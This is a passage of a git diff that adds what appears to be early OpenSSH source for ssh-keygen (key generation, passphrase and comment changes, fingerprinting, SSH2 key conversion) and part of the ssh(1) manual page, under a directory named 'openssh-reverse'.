line. + */ +int change_passphrase = 0; + +/* + * Flag indicating that we just want to change the comment. This can be set + * on the command line. + */ +int change_comment = 0; + +int quiet = 0; + +/* Flag indicating that we just want to see the key fingerprint */ +int print_fingerprint = 0; + +/* The identity file name, given on the command line or entered by the user. */ +char identity_file[1024]; +int have_identity = 0; + +/* This is set to the passphrase if given on the command line. */ +char *identity_passphrase = NULL; + +/* This is set to the new passphrase if given on the command line. */ +char *identity_new_passphrase = NULL; + +/* This is set to the new comment if given on the command line. */ +char *identity_comment = NULL; + +/* Dump public key file in format used by real and the original SSH 2 */ +int convert_to_ssh2 = 0; +int convert_from_ssh2 = 0; +int print_public = 0; +int dsa_mode = 0; + +/* argv0 */ +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh-keygen"; +#endif /* HAVE___PROGNAME */ + +char hostname[MAXHOSTNAMELEN]; + +void +ask_filename(struct passwd *pw, const char *prompt) +{ + char buf[1024]; + snprintf(identity_file, sizeof(identity_file), "%s/%s", + pw->pw_dir, + dsa_mode ? SSH_CLIENT_ID_DSA: SSH_CLIENT_IDENTITY); + printf("%s (%s): ", prompt, identity_file); + fflush(stdout); + if (fgets(buf, sizeof(buf), stdin) == NULL) + exit(1); + if (strchr(buf, '\n')) + *strchr(buf, '\n') = 0; + if (strcmp(buf, "") != 0) + strlcpy(identity_file, buf, sizeof(identity_file)); + have_identity = 1; +} + +int +try_load_key(char *filename, Key *k) +{ + int success = 1; + if (!load_private_key(filename, "", k, NULL)) { + char *pass = read_passphrase("Enter passphrase: ", 1); + if (!load_private_key(filename, pass, k, NULL)) { + success = 0; + } + memset(pass, 0, strlen(pass)); + xfree(pass); + } + return success; +} + +#define SSH_COM_MAGIC_BEGIN "---- BEGIN SSH2 PUBLIC KEY ----" +#define SSH_COM_MAGIC_END "---- END SSH2 PUBLIC KEY ----" + +void +do_convert_to_ssh2(struct passwd *pw) +{ + Key *k; + int len; + unsigned char *blob; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + k = key_new(KEY_DSA); + if (!try_load_key(identity_file, k)) { + fprintf(stderr, "load failed\n"); + exit(1); + } + dsa_make_key_blob(k, &blob, &len); + fprintf(stdout, "%s\n", SSH_COM_MAGIC_BEGIN); + fprintf(stdout, + "Comment: \"%d-bit DSA, converted from openssh by %s@%s\"\n", + BN_num_bits(k->dsa->p), + pw->pw_name, hostname); + dump_base64(stdout, blob, len); + fprintf(stdout, "%s\n", SSH_COM_MAGIC_END); + key_free(k); + xfree(blob); + exit(0); +} + +void +do_convert_from_ssh2(struct passwd *pw) +{ + Key *k; + int blen; + char line[1024], *p; + char blob[8096]; + char encoded[8096]; + struct stat st; + int escaped = 0; + FILE *fp; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + fp = fopen(identity_file, "r"); + if (fp == NULL) { + perror(identity_file); + exit(1); + } + encoded[0] = '\0'; + while (fgets(line, sizeof(line), fp)) { + if (!(p = strchr(line, '\n'))) { + fprintf(stderr, "input line too long.\n"); + exit(1); + } + if (p > line && p[-1] == '\\') + escaped++; + if (strncmp(line, "----", 4) == 0 || + strstr(line, ": ") != NULL) { + fprintf(stderr, "ignore: %s", line); + continue; + } + if (escaped) { + escaped--; + fprintf(stderr, "escaped: %s", line); + continue; + } + *p = '\0'; + strlcat(encoded, line, sizeof(encoded)); + } + blen = uudecode(encoded, (unsigned char *)blob, sizeof(blob)); + if (blen < 0) { + fprintf(stderr, "uudecode failed.\n"); + exit(1); + } + k = dsa_key_from_blob(blob, blen); + if (!key_write(k, stdout)) + fprintf(stderr, "key_write failed"); + key_free(k); + fprintf(stdout, "\n"); + fclose(fp); + exit(0); +} + +void +do_print_public(struct passwd *pw) +{ + Key *k; + int len; + unsigned char *blob; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + k = key_new(KEY_DSA); + if (!try_load_key(identity_file, k)) { + fprintf(stderr, "load failed\n"); + exit(1); + } + dsa_make_key_blob(k, &blob, &len); + if (!key_write(k, stdout)) + fprintf(stderr, "key_write failed"); + key_free(k); + xfree(blob); + fprintf(stdout, "\n"); + exit(0); +} + +void +do_fingerprint(struct passwd *pw) +{ + FILE *f; + BIGNUM *e, *n; + Key *public; + char *comment = NULL, *cp, *ep, line[16*1024]; + int i, skip = 0, num = 1, invalid = 1; + unsigned int ignore; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + public = key_new(KEY_RSA); + if (load_public_key(identity_file, public, &comment)) { + printf("%d %s %s\n", BN_num_bits(public->rsa->n), + key_fingerprint(public), comment); + key_free(public); + exit(0); + } + key_free(public); + + /* XXX */ + f = fopen(identity_file, "r"); + if (f != NULL) { + n = BN_new(); + e = BN_new(); + while (fgets(line, sizeof(line), f)) { + i = strlen(line) - 1; + if (line[i] != '\n') { + error("line %d too long: %.40s...", num, line); + skip = 1; + continue; + } + num++; + if (skip) { + skip = 0; + continue; + } + line[i] = '\0'; + + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue ; + i = strtol(cp, &ep, 10); + if (i == 0 || ep == NULL || (*ep != ' ' && *ep != '\t')) { + int quoted = 0; + comment = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + if (!*cp) + continue; + *cp++ = '\0'; + } + ep = cp; + if (auth_rsa_read_key(&cp, &ignore, e, n)) { + invalid = 0; + comment = *cp ? cp : comment; + printf("%d %s %s\n", BN_num_bits(n), + fingerprint(e, n), + comment ? comment : "no comment"); + } + } + BN_free(e); + BN_free(n); + fclose(f); + } + if (invalid) { + printf("%s is not a valid key file.\n", identity_file); + exit(1); + } + exit(0); +} + +/* + * Perform changing a passphrase. The argument is the passwd structure + * for the current user. + */ +void +do_change_passphrase(struct passwd *pw) +{ + char *comment; + char *old_passphrase, *passphrase1, *passphrase2; + struct stat st; + Key *private; + Key *public; + int type = dsa_mode ? KEY_DSA : KEY_RSA; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + + if (type == KEY_RSA) { + /* XXX this works currently only for RSA */ + public = key_new(type); + if (!load_public_key(identity_file, public, NULL)) { + printf("%s is not a valid key file.\n", identity_file); + exit(1); + } + /* Clear the public key since we are just about to load the whole file. */ + key_free(public); + } + + /* Try to load the file with empty passphrase. */ + private = key_new(type); + if (!load_private_key(identity_file, "", private, &comment)) { + if (identity_passphrase) + old_passphrase = xstrdup(identity_passphrase); + else + old_passphrase = read_passphrase("Enter old passphrase: ", 1); + if (!load_private_key(identity_file, old_passphrase, private, &comment)) { + memset(old_passphrase, 0, strlen(old_passphrase)); + xfree(old_passphrase); + printf("Bad passphrase.\n"); + exit(1); + } + memset(old_passphrase, 0, strlen(old_passphrase)); + xfree(old_passphrase); + } + printf("Key has comment '%s'\n", comment); + + /* Ask the new passphrase (twice). */ + if (identity_new_passphrase) { + passphrase1 = xstrdup(identity_new_passphrase); + passphrase2 = NULL; + } else { + passphrase1 = + read_passphrase("Enter new passphrase (empty for no passphrase): ", 1); + passphrase2 = read_passphrase("Enter same passphrase again: ", 1); + + /* Verify that they are the same. */ + if (strcmp(passphrase1, passphrase2) != 0) { + memset(passphrase1, 0, strlen(passphrase1)); + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase1); + xfree(passphrase2); + printf("Pass phrases do not match. Try again.\n"); + exit(1); + } + /* Destroy the other copy. */ + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase2); + } + + /* Save the file using the new passphrase. */ + if (!save_private_key(identity_file, passphrase1, private, comment)) { + printf("Saving the key failed: %s: %s.\n", + identity_file, strerror(errno)); + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + key_free(private); + xfree(comment); + exit(1); + } + /* Destroy the passphrase and the copy of the key in memory. */ + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + key_free(private); /* Destroys contents */ + xfree(comment); + + printf("Your identification has been saved with the new passphrase.\n"); + exit(0); +} + +/* + * Change the comment of a private key file. + */ +void +do_change_comment(struct passwd *pw) +{ + char new_comment[1024], *comment; + Key *private; + Key *public; + char *passphrase; + struct stat st; + FILE *f; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + /* + * Try to load the public key from the file the verify that it is + * readable and of the proper format. + */ + public = key_new(KEY_RSA); + if (!load_public_key(identity_file, public, NULL)) { + printf("%s is not a valid key file.\n", identity_file); + exit(1); + } + + private = key_new(KEY_RSA); + if (load_private_key(identity_file, "", private, &comment)) + passphrase = xstrdup(""); + else { + if (identity_passphrase) + passphrase = xstrdup(identity_passphrase); + else if (identity_new_passphrase) + passphrase = xstrdup(identity_new_passphrase); + else + passphrase = read_passphrase("Enter passphrase: ", 1); + /* Try to load using the passphrase. */ + if (!load_private_key(identity_file, passphrase, private, &comment)) { + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + printf("Bad passphrase.\n"); + exit(1); + } + } + printf("Key now has comment '%s'\n", comment); + + if (identity_comment) { + strlcpy(new_comment, identity_comment, sizeof(new_comment)); + } else { + printf("Enter new comment: "); + fflush(stdout); + if (!fgets(new_comment, sizeof(new_comment), stdin)) { + memset(passphrase, 0, strlen(passphrase)); + key_free(private); + exit(1); + } + if (strchr(new_comment, '\n')) + *strchr(new_comment, '\n') = 0; + } + + /* Save the file using the new passphrase. */ + if (!save_private_key(identity_file, passphrase, private, new_comment)) { + printf("Saving the key failed: %s: %s.\n", + identity_file, strerror(errno)); + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + key_free(private); + xfree(comment); + exit(1); + } + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + key_free(private); + + strlcat(identity_file, ".pub", sizeof(identity_file)); + f = fopen(identity_file, "w"); + if (!f) { + printf("Could not save your public key in %s\n", identity_file); + exit(1); + } + if (!key_write(public, f)) + fprintf(stderr, "write key failed"); + key_free(public); + fprintf(f, " %s\n", new_comment); + fclose(f); + + xfree(comment); + + printf("The comment in your key file has been changed.\n"); + exit(0); +} + +void +usage(void) +{ + printf("Usage: %s [-lpqxXydc] [-b bits] [-f file] [-C comment] [-N new-pass] [-P pass]\n", __progname); + exit(1); +} + +/* + * Main program for key management. + */ +int +main(int ac, char **av) +{ + char dotsshdir[16 * 1024], comment[1024], *passphrase1, *passphrase2; + struct passwd *pw; + int opt; + struct stat st; + FILE *f; + Key *private; + Key *public; + extern int optind; + extern char *optarg; + + init_rng(); + + SSLeay_add_all_algorithms(); + + /* we need this for the home * directory. */ + pw = getpwuid(getuid()); + if (!pw) { + printf("You don't exist, go away!\n"); + exit(1); + } + if (gethostname(hostname, sizeof(hostname)) < 0) { + perror("gethostname"); + exit(1); + } + + while ((opt = getopt(ac, av, "dqpclRxXyb:f:P:N:C:")) != EOF) { + switch (opt) { + case 'b': + bits = atoi(optarg); + if (bits < 512 || bits > 32768) { + printf("Bits has bad value.\n"); + exit(1); + } + break; + + case 'l': + print_fingerprint = 1; + break; + + case 'p': + change_passphrase = 1; + break; + + case 'c': + change_comment = 1; + break; + + case 'f': + strlcpy(identity_file, optarg, sizeof(identity_file)); + have_identity = 1; + break; + + case 'P': + identity_passphrase = optarg; + break; + + case 'N': + identity_new_passphrase = optarg; + break; + + case 'C': + identity_comment = optarg; + break; + + case 'q': + quiet = 1; + break; + + case 'R': + if (rsa_alive() == 0) + exit(1); + else + exit(0); + break; + + case 'x': + convert_to_ssh2 = 1; + break; + + case 'X': + convert_from_ssh2 = 1; + break; + + case 'y': + print_public = 1; + break; + + case 'd': + dsa_mode = 1; + break; + + case '?': + default: + usage(); + } + } + if (optind < ac) { + printf("Too many arguments.\n"); + usage(); + } + if (change_passphrase && change_comment) { + printf("Can only have one of -p and -c.\n"); + usage(); + } + /* check if RSA support is needed and exists */ + if (dsa_mode == 0 && rsa_alive() == 0) { + fprintf(stderr, + "%s: no RSA support in libssl and libcrypto. See ssl(8).\n", + __progname); + exit(1); + } + if (print_fingerprint) + do_fingerprint(pw); + if (change_passphrase) + do_change_passphrase(pw); + if (change_comment) + do_change_comment(pw); + if (convert_to_ssh2) + do_convert_to_ssh2(pw); + if (convert_from_ssh2) + do_convert_from_ssh2(pw); + if (print_public) + do_print_public(pw); + + arc4random_stir(); + + if (dsa_mode != 0) { + if (!quiet) + printf("Generating DSA parameter and key.\n"); + public = private = dsa_generate_key(bits); + if (private == NULL) { + fprintf(stderr, "dsa_generate_keys failed"); + exit(1); + } + } else { + if (quiet) + rsa_set_verbose(0); + /* Generate the rsa key pair. */ + public = key_new(KEY_RSA); + private = key_new(KEY_RSA); + rsa_generate_key(private->rsa, public->rsa, bits); + } + + if (!have_identity) + ask_filename(pw, "Enter file in which to save the key"); + + /* Create ~/.ssh directory if it doesn\'t already exist. */ + snprintf(dotsshdir, sizeof dotsshdir, "%s/%s", pw->pw_dir, SSH_USER_DIR); + if (strstr(identity_file, dotsshdir) != NULL && + stat(dotsshdir, &st) < 0) { + if (mkdir(dotsshdir, 0700) < 0) + error("Could not create directory '%s'.", dotsshdir); + else if (!quiet) + printf("Created directory '%s'.\n", dotsshdir); + } + /* If the file already exists, ask the user to confirm. */ + if (stat(identity_file, &st) >= 0) { + char yesno[3]; + printf("%s already exists.\n", identity_file); + printf("Overwrite (y/n)? "); + fflush(stdout); + if (fgets(yesno, sizeof(yesno), stdin) == NULL) + exit(1); + if (yesno[0] != 'y' && yesno[0] != 'Y') + exit(1); + } + /* Ask for a passphrase (twice). */ + if (identity_passphrase) + passphrase1 = xstrdup(identity_passphrase); + else if (identity_new_passphrase) + passphrase1 = xstrdup(identity_new_passphrase); + else { +passphrase_again: + passphrase1 = + read_passphrase("Enter passphrase (empty for no passphrase): ", 1); + passphrase2 = read_passphrase("Enter same passphrase again: ", 1); + if (strcmp(passphrase1, passphrase2) != 0) { + /* The passphrases do not match. Clear them and retry. */ + memset(passphrase1, 0, strlen(passphrase1)); + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase1); + xfree(passphrase2); + printf("Passphrases do not match. Try again.\n"); + goto passphrase_again; + } + /* Clear the other copy of the passphrase. */ + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase2); + } + + if (identity_comment) { + strlcpy(comment, identity_comment, sizeof(comment)); + } else { + /* Create default commend field for the passphrase. */ + snprintf(comment, sizeof comment, "%s@%s", pw->pw_name, hostname); + } + + /* Save the key with the given passphrase and comment. */ + if (!save_private_key(identity_file, passphrase1, private, comment)) { + printf("Saving the key failed: %s: %s.\n", + identity_file, strerror(errno)); + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + exit(1); + } + /* Clear the passphrase. */ + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + + /* Clear the private key and the random number generator. */ + if (private != public) { + key_free(private); + } + arc4random_stir(); + + if (!quiet) + printf("Your identification has been saved in %s.\n", identity_file); + + strlcat(identity_file, ".pub", sizeof(identity_file)); + f = fopen(identity_file, "w"); + if (!f) { + printf("Could not save your public key in %s\n", identity_file); + exit(1); + } + if (!key_write(public, f)) + fprintf(stderr, "write key failed"); + fprintf(f, " %s\n", comment); + fclose(f); + + if (!quiet) { + printf("Your public key has been saved in %s.\n", + identity_file); + printf("The key fingerprint is:\n"); + printf("%s %s\n", key_fingerprint(public), comment); + } + + key_free(public); + exit(0); +} diff --git a/other/openssh-reverse/ssh.0 b/other/openssh-reverse/ssh.0 new file mode 100644 index 0000000..b62d1db --- /dev/null +++ b/other/openssh-reverse/ssh.0 @@ -0,0 +1,811 @@ + +SSH(1) System Reference Manual SSH(1) + +NAME + ssh - OpenSSH secure shell client (remote login program) + +SYNOPSIS + ssh [-l login_name] [hostname | user@hostname] [command] + + ssh [-afgknqtvxACNPTX246] [-c cipher_spec] [-e escape_char] [-i + identity_file] [-l login_name] [-o option] [-p port] [-L + port:host:hostport] [-R port:host:hostport] [hostname | + user@hostname] [command] + +DESCRIPTION + ssh (Secure Shell) is a program for logging into a remote machine and for + executing commands on a remote machine. It is intended to replace rlogin + and rsh, and provide secure encrypted communications between two untrust- + ed hosts over an insecure network. X11 connections and arbitrary TCP/IP + ports can also be forwarded over the secure channel. + + ssh connects and logs into the specified hostname. The user must prove + his/her identity to the remote machine using one of several methods de- + pending on the protocol version used: + + SSH protocol version 1 + + First, if the machine the user logs in from is listed in /etc/hosts.equiv + or /etc/shosts.equiv on the remote machine, and the user names are the + same on both sides, the user is immediately permitted to log in. Second, + if .rhosts or .shosts exists in the user's home directory on the remote + machine and contains a line containing the name of the client machine and + the name of the user on that machine, the user is permitted to log in. + This form of authentication alone is normally not allowed by the server + because it is not secure. + + The second (and primary) authentication method is the rhosts or + hosts.equiv method combined with RSA-based host authentication. It means + that if the login would be permitted by $HOME/.rhosts, $HOME/.shosts, + /etc/hosts.equiv, or /etc/shosts.equiv, and if additionally the server + can verify the client's host key (see /etc/ssh_known_hosts and + $HOME/.ssh/known_hosts in the FILES section), only then login is permit- + ted. This authentication method closes security holes due to IP spoof- + ing, DNS spoofing and routing spoofing. [Note to the administrator: + /etc/hosts.equiv, $HOME/.rhosts, and the rlogin/rsh protocol in general, + are inherently insecure and should be disabled if security is desired.] + + As a third authentication method, ssh supports RSA based authentication. + The scheme is based on public-key cryptography: there are cryptosystems + where encryption and decryption are done using separate keys, and it is + not possible to derive the decryption key from the encryption key. RSA + is one such system. The idea is that each user creates a public/private + key pair for authentication purposes. The server knows the public key, + and only the user knows the private key. The file + $HOME/.ssh/authorized_keys lists the public keys that are permitted for + logging in. When the user logs in, the ssh program tells the server + which key pair it would like to use for authentication. The server + checks if this key is permitted, and if so, sends the user (actually the + ssh program running on behalf of the user) a challenge, a random number, + encrypted by the user's public key. The challenge can only be decrypted + using the proper private key. The user's client then decrypts the chal- + lenge using the private key, proving that he/she knows the private key + but without disclosing it to the server. + + + ssh implements the RSA authentication protocol automatically. The user + creates his/her RSA key pair by running ssh-keygen(1). This stores the + private key in $HOME/.ssh/identity and the public key in + $HOME/.ssh/identity.pub in the user's home directory. The user should + then copy the identity.pub to $HOME/.ssh/authorized_keys in his/her home + directory on the remote machine (the authorized_keys file corresponds to + the conventional $HOME/.rhosts file, and has one key per line, though the + lines can be very long). After this, the user can log in without giving + the password. RSA authentication is much more secure than rhosts authen- + tication. + + The most convenient way to use RSA authentication may be with an authen- + tication agent. See ssh-agent(1) for more information. + + If other authentication methods fail, ssh prompts the user for a pass- + word. The password is sent to the remote host for checking; however, + since all communications are encrypted, the password cannot be seen by + someone listening on the network. + + SSH protocol version 2 + + When a user connects using the protocol version 2 different authentica- + tion methods are available: At first, the client attempts to authenticate + using the public key method. If this method fails password authentica- + tion is tried. + + The public key method is similar to RSA authentication described in the + previous section except that the DSA algorithm is used instead of the + patented RSA algorithm. The client uses his private DSA key + $HOME/.ssh/id_dsa to sign the session identifier and sends the result to + the server. The server checks whether the matching public key is listed + in $HOME/.ssh/authorized_keys2 and grants access if both the key is found + and the signature is correct. The session identifier is derived from a + shared Diffie-Hellman value and is only known to the client and the serv- + er. + + If public key authentication fails or is not available a password can be + sent encrypted to the remote host for proving the user's identity. This + protocol 2 implementation does not yet support Kerberos or S/Key authen- + tication. + + Protocol 2 provides additional mechanisms for confidentiality (the traf- + fic is encrypted using 3DES, Blowfish, CAST128 or Arcfour) and integrity + (hmac-sha1, hmac-md5). Note that protocol 1 lacks a strong mechanism for + ensuring the integrity of the connection. + + Login session and remote execution + + When the user's identity has been accepted by the server, the server ei- + ther executes the given command, or logs into the machine and gives the + user a normal shell on the remote machine. All communication with the + remote command or shell will be automatically encrypted. + + If a pseudo-terminal has been allocated (normal login session), the user + can disconnect with ~., and suspend ssh with ~^Z. All forwarded connec- + tions can be listed with ~# and if the session blocks waiting for for- + warded X11 or TCP/IP connections to terminate, it can be backgrounded + with ~& (this should not be used while the user shell is active, as it + can cause the shell to hang). All available escapes can be listed with + ~?. + + A single tilde character can be sent as ~~ (or by following the tilde by + a character other than those described above). The escape character must + always follow a newline to be interpreted as special. The escape charac- + ter can be changed in configuration files or on the command line. + + + If no pseudo tty has been allocated, the session is transparent and can + be used to reliably transfer binary data. On most systems, setting the + escape character to ``none'' will also make the session transparent even + if a tty is used. + + The session terminates when the command or shell in on the remote machine + exists and all X11 and TCP/IP connections have been closed. The exit + status of the remote program is returned as the exit status of ssh. + + X11 and TCP forwarding + + If the user is using X11 (the DISPLAY environment variable is set), the + connection to the X11 display is automatically forwarded to the remote + side in such a way that any X11 programs started from the shell (or com- + mand) will go through the encrypted channel, and the connection to the + real X server will be made from the local machine. The user should not + manually set DISPLAY. Forwarding of X11 connections can be configured on + the command line or in configuration files. + + The DISPLAY value set by ssh will point to the server machine, but with a + display number greater than zero. This is normal, and happens because + ssh creates a ``proxy'' X server on the server machine for forwarding the + connections over the encrypted channel. + + ssh will also automatically set up Xauthority data on the server machine. + For this purpose, it will generate a random authorization cookie, store + it in Xauthority on the server, and verify that any forwarded connections + carry this cookie and replace it by the real cookie when the connection + is opened. The real authentication cookie is never sent to the server + machine (and no cookies are sent in the plain). + + If the user is using an authentication agent, the connection to the agent + is automatically forwarded to the remote side unless disabled on command + line or in a configuration file. + + Forwarding of arbitrary TCP/IP connections over the secure channel can be + specified either on command line or in a configuration file. One possi- + ble application of TCP/IP forwarding is a secure connection to an elec- + tronic purse; another is going trough firewalls. + + Server authentication + + ssh automatically maintains and checks a database containing identifica- + tions for all hosts it has ever been used with. RSA host keys are stored + in $HOME/.ssh/known_hosts and DSA host keys are stored in + $HOME/.ssh/known_hosts2 in the user's home directory. Additionally, the + files /etc/ssh_known_hosts and /etc/ssh_known_hosts2 are automatically + checked for known hosts. Any new hosts are automatically added to the + user's file. If a host's identification ever changes, ssh warns about + this and disables password authentication to prevent a trojan horse from + getting the user's password. Another purpose of this mechanism is to + prevent man-in-the-middle attacks which could otherwise be used to cir- + cumvent the encryption. The StrictHostKeyChecking option (see below) can + be used to prevent logins to machines whose host key is not known or has + changed. + +OPTIONS + -a Disables forwarding of the authentication agent connection. + + -A Enables forwarding of the authentication agent connection. This + can also be specified on a per-host basis in a configuration + file. + + -c blowfish|3des + Selects the cipher to use for encrypting the session. 3des is + used by default. It is believed to be secure. 3des (triple-des) + is an encrypt-decrypt-encrypt triple with three different keys. + It is presumably more secure than the des cipher which is no + longer supported in ssh. blowfish is a fast block cipher, it ap- + pears very secure and is much faster than 3des. + + -c 3des-cbc,blowfish-cbc,arcfour,cast128-cbc + Additionally, for protocol version 2 a comma-separated list of + ciphers can be specified in order of preference. Protocol version + 2 supports 3DES, Blowfish and CAST128 in CBC mode and Arcfour. + + -e ch|^ch|none + Sets the escape character for sessions with a pty (default: `~'). + The escape character is only recognized at the beginning of a + line. The escape character followed by a dot (`.') closes the + connection, followed by control-Z suspends the connection, and + followed by itself sends the escape character once. Setting the + character to ``none'' disables any escapes and makes the session + fully transparent. + + -f Requests ssh to go to background just before command execution. + This is useful if ssh is going to ask for passwords or passphras- + es, but the user wants it in the background. This implies -n. + The recommended way to start X11 programs at a remote site is + with something like ssh -f host xterm. + + -g Allows remote hosts to connect to local forwarded ports. + + -i identity_file + Selects the file from which the identity (private key) for RSA + authentication is read. Default is $HOME/.ssh/identity in the + user's home directory. Identity files may also be specified on a + per-host basis in the configuration file. It is possible to have + multiple -i options (and multiple identities specified in config- + uration files). + + -k Disables forwarding of Kerberos tickets and AFS tokens. This may + also be specified on a per-host basis in the configuration file. + + -l login_name + Specifies the user to log in as on the remote machine. This also + may be specified on a per-host basis in the configuration file. + + -n Redirects stdin from /dev/null (actually, prevents reading from + stdin). This must be used when ssh is run in the background. A + common trick is to use this to run X11 programs on a remote ma- + chine. For example, ssh -n shadows.cs.hut.fi emacs & will start + an emacs on shadows.cs.hut.fi, and the X11 connection will be au- + tomatically forwarded over an encrypted channel. The ssh program + will be put in the background. (This does not work if ssh needs + to ask for a password or passphrase; see also the -f option.) + + -N Do not execute a remote command. This is usefull if you just + want to forward ports (protocol version 2 only). + + -o option + Can be used to give options in the format used in the config + file. This is useful for specifying options for which there is + no separate command-line flag. The option has the same format as + a line in the configuration file. + + -p port + Port to connect to on the remote host. This can be specified on + a per-host basis in the configuration file. + + -P Use a non-privileged port for outgoing connections. This can be + used if your firewall does not permit connections from privileged + ports. Note that this option turns off RhostsAuthentication and + RhostsRSAAuthentication. + + -q Quiet mode. Causes all warning and diagnostic messages to be + suppressed. Only fatal errors are displayed. + + -t Force pseudo-tty allocation. This can be used to execute arbi- + trary screen-based programs on a remote machine, which can be + very useful, e.g., when implementing menu services. + + -T Disable pseudo-tty allocation (protocol version 2 only). + + -v Verbose mode. Causes ssh to print debugging messages about its + progress. This is helpful in debugging connection, authentica- + tion, and configuration problems. The verbose mode is also used + to display skey(1) challenges, if the user entered "s/key" as + password. + + -x Disables X11 forwarding. + + -X Enables X11 forwarding. This can also be specified on a per-host + basis in a configuration file. + + -C Requests compression of all data (including stdin, stdout, + stderr, and data for forwarded X11 and TCP/IP connections). The + compression algorithm is the same used by gzip(1), and the + ``level'' can be controlled by the CompressionLevel option (see + below). Compression is desirable on modem lines and other slow + connections, but will only slow down things on fast networks. + The default value can be set on a host-by-host basis in the con- + figuration files; see the Compress option below. + + -L port:host:hostport + Specifies that the given port on the local (client) host is to be + forwarded to the given host and port on the remote side. This + works by allocating a socket to listen to port on the local side, + and whenever a connection is made to this port, the connection is + forwarded over the secure channel, and a connection is made to + host port hostport from the remote machine. Port forwardings can + also be specified in the configuration file. Only root can for- + ward privileged ports. IPv6 addresses can be specified with an + alternative syntax: port/host/hostport + + -R port:host:hostport + Specifies that the given port on the remote (server) host is to + be forwarded to the given host and port on the local side. This + works by allocating a socket to listen to port on the remote + side, and whenever a connection is made to this port, the connec- + tion is forwarded over the secure channel, and a connection is + made to host port hostport from the local machine. Port forward- + ings can also be specified in the configuration file. Privileged + ports can be forwarded only when logging in as root on the remote + machine. + + -2 Forces ssh to try protocol version 2 only. + + -4 Forces ssh to use IPv4 addresses only. + + -6 Forces ssh to use IPv6 addresses only. + +CONFIGURATION FILES + ssh obtains configuration data from the following sources (in this or- + der): command line options, user's configuration file + ($HOME/.ssh/config), and system-wide configuration file + (/etc/ssh_config). For each parameter, the first obtained value will be + used. The configuration files contain sections bracketed by ``Host'' + specifications, and that section is only applied for hosts that match one + of the patterns given in the specification. The matched host name is the + one given on the command line. + + Since the first obtained value for each parameter is used, more host-spe- + cific declarations should be given near the beginning of the file, and + general defaults at the end. + + The configuration file has the following format: + + Empty lines and lines starting with `#' are comments. + + Otherwise a line is of the format ``keyword arguments''. The possible + keywords and their meanings are as follows (note that the configuration + files are case-sensitive): + + Host Restricts the following declarations (up to the next Host key- + word) to be only for those hosts that match one of the patterns + given after the keyword. `*' and `?' can be used as wildcards in + the patterns. A single `*' as a pattern can be used to provide + global defaults for all hosts. The host is the hostname argument + given on the command line (i.e., the name is not converted to a + canonicalized host name before matching). + + AFSTokenPassing + Specifies whether to pass AFS tokens to remote host. The argu- + ment to this keyword must be ``yes'' or ``no''. + + BatchMode + If set to ``yes'', passphrase/password querying will be disabled. + This option is useful in scripts and other batch jobs where you + have no user to supply the password. The argument must be + ``yes'' or ``no''. + + CheckHostIP + If this flag is set to ``yes'', ssh will additionally check the + host ip address in the known_hosts file. This allows ssh to de- + tect if a host key changed due to DNS spoofing. If the option is + set to ``no'', the check will not be executed. + + Cipher Specifies the cipher to use for encrypting the session. Current- + ly, ``blowfish'', and ``3des'' are supported. The default is + ``3des''. + + Ciphers + Specifies the ciphers allowed for protocol version 2 in order of + preference. Multiple ciphers must be comma-separated. The de- + fault is ``3des-cbc,blowfish-cbc,arcfour,cast128-cbc''. + + Compression + Specifies whether to use compression. The argument must be + ``yes'' or ``no''. + + CompressionLevel + Specifies the compression level to use if compression is enable. + The argument must be an integer from 1 (fast) to 9 (slow, best). + The default level is 6, which is good for most applications. The + meaning of the values is the same as in gzip(1). + + ConnectionAttempts + Specifies the number of tries (one per second) to make before + falling back to rsh or exiting. The argument must be an integer. + This may be useful in scripts if the connection sometimes fails. + + DSAAuthentication + Specifies whether to try DSA authentication. The argument to + this keyword must be ``yes'' or ``no''. DSA authentication will + only be attempted if a DSA identity file exists. Note that this + option applies to protocol version 2 only. + + EscapeChar + Sets the escape character (default: `~'). The escape character + can also be set on the command line. The argument should be a + single character, `^' followed by a letter, or ``none'' to dis- + able the escape character entirely (making the connection trans- + parent for binary data). + + FallBackToRsh + Specifies that if connecting via ssh fails due to a connection + refused error (there is no sshd(8) listening on the remote host), + rsh(1) should automatically be used instead (after a suitable + warning about the session being unencrypted). The argument must + be ``yes'' or ``no''. + + ForwardAgent + Specifies whether the connection to the authentication agent (if + any) will be forwarded to the remote machine. The argument must + be ``yes'' or ``no''. The default is ``no''. + + ForwardX11 + Specifies whether X11 connections will be automatically redirect- + ed over the secure channel and DISPLAY set. The argument must be + ``yes'' or ``no''. The default is ``no''. + + GatewayPorts + Specifies whether remote hosts are allowed to connect to local + forwarded ports. The argument must be ``yes'' or ``no''. The de- + fault is ``no''. + + GlobalKnownHostsFile + Specifies a file to use instead of /etc/ssh_known_hosts. + + 